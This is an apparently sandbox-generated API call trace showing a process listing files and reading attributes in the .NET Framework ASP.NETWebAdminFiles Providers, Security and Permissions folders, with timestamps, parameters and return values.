	[0087.660] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.660] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\chooseProviderManagement.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources\\chooseprovidermanagement.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125a7ae8 | out: lpFileInformation=0x125a7ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eb8f000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x617)) returned 1
	[0087.661] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\manageProviders.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources\\manageproviders.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125a7b38 | out: lpFileInformation=0x125a7b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1
	[0087.662] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\manageconsolidatedProviders.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources\\manageconsolidatedproviders.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125a7b88 | out: lpFileInformation=0x125a7b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x584)) returned 1
	[0087.663] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\providerList.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources\\providerlist.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125a7bd8 | out: lpFileInformation=0x125a7bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1
	[0087.663] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125a7c28 | out: lpFileInformation=0x125a7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3133)) returned 1
	[0087.663] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageproviders.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125a7c78 | out: lpFileInformation=0x125a7c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x25f1)) returned 1
	[0087.663] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ProviderList.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\providerlist.ascx"), fInfoLevelId=0x0, lpFileInformation=0x125a7cc8 | out: lpFileInformation=0x125a7cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2483)) returned 1
	[0087.664] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125a7d18 | out: lpFileInformation=0x125a7d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eb8f000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x99e)) returned 1
	[0087.664] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security"), fInfoLevelId=0x0, lpFileInformation=0x125a7d68 | out: lpFileInformation=0x125a7d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.664] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.665] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Permissions", cAlternateFileName="PERMIS~1")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roles", cAlternateFileName="")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27da, dwReserved0=0x0, dwReserved1=0x0, cFileName="security.aspx", cAlternateFileName="SECURI~1.ASP")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx", cAlternateFileName="SECURI~2.ASP")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="setUpAuthentication.aspx", cAlternateFileName="SETUPA~1.ASP")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wizard", cAlternateFileName="")) returned 1
	[0087.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.666] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.667] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.668] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.668] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*", lpFindFileData=0x124e77ec | out: lpFindFileData=0x124e77ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe98, dwReserved0=0x0, dwReserved1=0x0, cFileName="security.aspx.resx", cAlternateFileName="SECURI~1.RES")) returned 1
	[0087.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="security0.aspx.resx", cAlternateFileName="SECURI~2.RES")) returned 1
	[0087.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setUpAuthentication.aspx.resx", cAlternateFileName="SETUPA~1.RES")) returned 1
	[0087.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.670] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.671] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\security.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources\\security.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe98)) returned 1
	[0087.672] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\security0.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources\\security0.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1
	[0087.672] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\setUpAuthentication.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources\\setupauthentication.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1
	[0087.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.674] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.674] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\*", lpFindFileData=0x124e77ec | out: lpFindFileData=0x124e77ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1
	[0087.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="createPermission.aspx", cAlternateFileName="CREATE~1.ASP")) returned 1
	[0087.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x54a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1
	[0087.675] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.675] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.676] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.682] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
